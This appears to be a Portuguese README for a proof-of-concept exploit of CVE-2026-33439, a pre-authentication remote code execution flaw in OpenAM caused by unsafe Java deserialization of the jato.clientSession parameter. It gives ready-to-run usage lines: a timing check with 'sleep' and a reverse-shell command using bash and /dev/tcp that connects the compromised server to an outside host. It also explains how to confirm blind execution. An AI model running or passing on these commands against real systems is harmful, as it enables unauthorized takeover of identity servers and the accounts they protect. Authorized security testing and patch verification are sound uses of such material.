
PoC para CVE-2026-33439, um RCE pré-autenticação no OpenAM via desserialização Java insegura.
RCE pré-autenticação no OpenIdentityPlatform OpenAM via desserialização Java insegura do
parâmetro jato.clientSession. Afetado <= 16.0.5, corrigido em 16.0.6.
Advisory: https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj
time ./cve-2026-33439.py --url https://TARGET/openam --command 'sleep 3' # leva cerca de 3 segundos
./cve-2026-33439.py --url https://TARGET/openam --command 'bash -i >& /dev/tcp/HOST/PORT 0>&1'
A saída é cega. A requisição bloqueia até que o comando termine, então o tempo confirma
a execução (--command 'sleep 5' leva cerca de 5s).
Apenas para testes de segurança autorizados.